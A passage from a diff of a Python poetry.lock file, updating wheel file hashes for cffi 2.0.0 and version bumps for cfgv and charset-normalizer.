"sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"}, + {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"}, + {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"}, + {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"}, + {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"}, + {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"}, + {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"}, + {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"}, + {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"}, + {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"}, + {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"}, + {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"}, + {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"}, + {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"}, + {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"}, + {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"}, + {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"}, + {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"}, + {file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"}, + {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"}, + {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"}, + {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"}, + {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"}, + {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"}, + {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"}, + {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"}, + {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"}, + {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"}, + {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"}, + {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"}, + {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"}, + {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"}, + {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"}, + {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"}, + {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"}, + {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"}, + {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"}, + {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"}, + {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"}, + {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, + {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, ] [package.dependencies] -pycparser = "*" +pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} [[package]] name = "cfgv" -version = "3.4.0" +version = "3.5.0" description = "Validate configuration and produce human readable error messages." optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "cfgv-3.4.0-py2.py3-none-any.whl", hash = "sha256:b7265b1f29fd3316bfcd2b330d63d024f2bfd8bcb8b0272f8e19a504856c48f9"}, - {file = "cfgv-3.4.0.tar.gz", hash = "sha256:e52591d4c5f5dead8e0f673fb16db7949d2cfb3f7da4582893288f0ded8fe560"}, + {file = "cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0"}, + {file = "cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132"}, ] [[package]] name = "charset-normalizer" -version = "3.4.1" +version = "3.4.4" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7" groups = ["main", "docs"] files = [ - {file = "charset_normalizer-3.4.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:91b36a978b5ae0ee86c394f5a54d6ef44db1de0815eb43de826d41d21e4af3de"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7461baadb4dc00fd9e0acbe254e3d7d2112e7f92ced2adc96e54ef6501c5f176"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e218488cd232553829be0664c2292d3af2eeeb94b32bea483cf79ac6a694e037"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:80ed5e856eb7f30115aaf94e4a08114ccc8813e6ed1b5efa74f9f82e8509858f"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b010a7a4fd316c3c484d482922d13044979e78d1861f0e0650423144c616a46a"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4532bff1b8421fd0a320463030c7520f56a79c9024a4e88f01c537316019005a"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:d973f03c0cb71c5ed99037b870f2be986c3c05e63622c017ea9816881d2dd247"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a3bd0dcd373514dcec91c411ddb9632c0d7d92aed7093b8c3bbb6d69ca74408"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:d9c3cdf5390dcd29aa8056d13e8e99526cda0305acc038b96b30352aff5ff2bb"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:2bdfe3ac2e1bbe5b59a1a63721eb3b95fc9b6817ae4a46debbb4e11f6232428d"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:eab677309cdb30d047996b36d34caeda1dc91149e4fdca0b1a039b3f79d9a807"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-win32.whl", hash = "sha256:c0429126cf75e16c4f0ad00ee0eae4242dc652290f940152ca8c75c3a4b6ee8f"}, - {file = "charset_normalizer-3.4.1-cp310-cp310-win_amd64.whl", hash = "sha256:9f0b8b1c6d84c8034a44893aba5e767bf9c7a211e313a9605d9c617d7083829f"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:8bfa33f4f2672964266e940dd22a195989ba31669bd84629f05fab3ef4e2d125"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28bf57629c75e810b6ae989f03c0828d64d6b26a5e205535585f96093e405ed1"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f08ff5e948271dc7e18a35641d2f11a4cd8dfd5634f55228b691e62b37125eb3"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:234ac59ea147c59ee4da87a0c0f098e9c8d169f4dc2a159ef720f1a61bbe27cd"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd4ec41f914fa74ad1b8304bbc634b3de73d2a0889bd32076342a573e0779e00"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eea6ee1db730b3483adf394ea72f808b6e18cf3cb6454b4d86e04fa8c4327a12"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c96836c97b1238e9c9e3fe90844c947d5afbf4f4c92762679acfe19927d81d77"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4d86f7aff21ee58f26dcf5ae81a9addbd914115cdebcbb2217e4f0ed8982e146"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:09b5e6733cbd160dcc09589227187e242a30a49ca5cefa5a7edd3f9d19ed53fd"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:5777ee0881f9499ed0f71cc82cf873d9a0ca8af166dfa0af8ec4e675b7df48e6"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:237bdbe6159cff53b4f24f397d43c6336c6b0b42affbe857970cefbb620911c8"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-win32.whl", hash = "sha256:8417cb1f36cc0bc7eaba8ccb0e04d55f0ee52df06df3ad55259b9a323555fc8b"}, - {file = "charset_normalizer-3.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:d7f50a1f8c450f3925cb367d011448c39239bb3eb4117c36a6d354794de4ce76"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:73d94b58ec7fecbc7366247d3b0b10a21681004153238750bb67bd9012414545"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dad3e487649f498dd991eeb901125411559b22e8d7ab25d3aeb1af367df5efd7"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c30197aa96e8eed02200a83fba2657b4c3acd0f0aa4bdc9f6c1af8e8962e0757"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2369eea1ee4a7610a860d88f268eb39b95cb588acd7235e02fd5a5601773d4fa"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc2722592d8998c870fa4e290c2eec2c1569b87fe58618e67d38b4665dfa680d"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffc9202a29ab3920fa812879e95a9e78b2465fd10be7fcbd042899695d75e616"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:804a4d582ba6e5b747c625bf1255e6b1507465494a40a2130978bda7b932c90b"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f55e69f030f7163dffe9fd0752b32f070566451afe180f99dbeeb81f511ad8d"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c4c3e6da02df6fa1410a7680bd3f63d4f710232d3139089536310d027950696a"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:5df196eb874dae23dcfb968c83d4f8fdccb333330fe1fc278ac5ceeb101003a9"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e358e64305fe12299a08e08978f51fc21fac060dcfcddd95453eabe5b93ed0e1"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-win32.whl", hash = "sha256:9b23ca7ef998bc739bf6ffc077c2116917eabcc901f88da1b9856b210ef63f35"}, - {file = "charset_normalizer-3.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ff8a4a60c227ad87030d76e99cd1698345d4491638dfa6673027c48b3cd395f"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407"}, - {file = "charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30bf9fd9be89ecb2360c7d94a711f00c09b976258846efe40db3d05828e8089"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:97f68b8d6831127e4787ad15e6757232e14e12060bec17091b85eb1486b91d8d"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7974a0b5ecd505609e3b19742b60cee7aa2aa2fb3151bc917e6e2646d7667dcf"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc54db6c8593ef7d4b2a331b58653356cf04f67c960f584edb7c3d8c97e8f39e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:311f30128d7d333eebd7896965bfcfbd0065f1716ec92bd5638d7748eb6f936a"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:7d053096f67cd1241601111b698f5cad775f97ab25d81567d3f59219b5f1adbd"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:807f52c1f798eef6cf26beb819eeb8819b1622ddfeef9d0977a8502d4db6d534"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:dccbe65bd2f7f7ec22c4ff99ed56faa1e9f785482b9bbd7c717e26fd723a1d1e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:2fb9bd477fdea8684f78791a6de97a953c51831ee2981f8e4f583ff3b9d9687e"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:01732659ba9b5b873fc117534143e4feefecf3b2078b0a6a2e925271bb6f4cfa"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-win32.whl", hash = "sha256:7a4f97a081603d2050bfaffdefa5b02a9ec823f8348a572e39032caa8404a487"}, - {file = "charset_normalizer-3.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:7b1bef6280950ee6c177b326508f86cad7ad4dff12454483b51d8b7d673a2c5d"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ecddf25bee22fe4fe3737a399d0d177d72bc22be6913acfab364b40bce1ba83c"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c60ca7339acd497a55b0ea5d506b2a2612afb2826560416f6894e8b5770d4a9"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b7b2d86dd06bfc2ade3312a83a5c364c7ec2e3498f8734282c6c3d4b07b346b8"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dd78cfcda14a1ef52584dbb008f7ac81c1328c0f58184bf9a84c49c605002da6"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e27f48bcd0957c6d4cb9d6fa6b61d192d0b13d5ef563e5f2ae35feafc0d179c"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01ad647cdd609225c5350561d084b42ddf732f4eeefe6e678765636791e78b9a"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:619a609aa74ae43d90ed2e89bdd784765de0a25ca761b93e196d938b8fd1dbbd"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:89149166622f4db9b4b6a449256291dc87a99ee53151c74cbd82a53c8c2f6ccd"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:7709f51f5f7c853f0fb938bcd3bc59cdfdc5203635ffd18bf354f6967ea0f824"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:345b0426edd4e18138d6528aed636de7a9ed169b4aaf9d61a8c19e39d26838ca"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:0907f11d019260cdc3f94fbdb23ff9125f6b5d1039b76003b5b0ac9d6a6c9d5b"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-win32.whl", hash = "sha256:ea0d8d539afa5eb2728aa1932a988a9a7af94f18582ffae4bc10b3fbdad0626e"}, - {file = "charset_normalizer-3.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:329ce159e82018d646c7ac45b01a430369d526569ec08516081727a20e9e4af4"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b97e690a2118911e39b4042088092771b4ae3fc3aa86518f84b8cf6888dbdb41"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78baa6d91634dfb69ec52a463534bc0df05dbd546209b79a3880a34487f4b84f"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1a2bc9f351a75ef49d664206d51f8e5ede9da246602dc2d2726837620ea034b2"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75832c08354f595c760a804588b9357d34ec00ba1c940c15e31e96d902093770"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0af291f4fe114be0280cdd29d533696a77b5b49cfde5467176ecab32353395c4"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0167ddc8ab6508fe81860a57dd472b2ef4060e8d378f0cc555707126830f2537"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2a75d49014d118e4198bcee5ee0a6f25856b29b12dbf7cd012791f8a6cc5c496"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363e2f92b0f0174b2f8238240a1a30142e3db7b957a5dd5689b0e75fb717cc78"}, - {file = 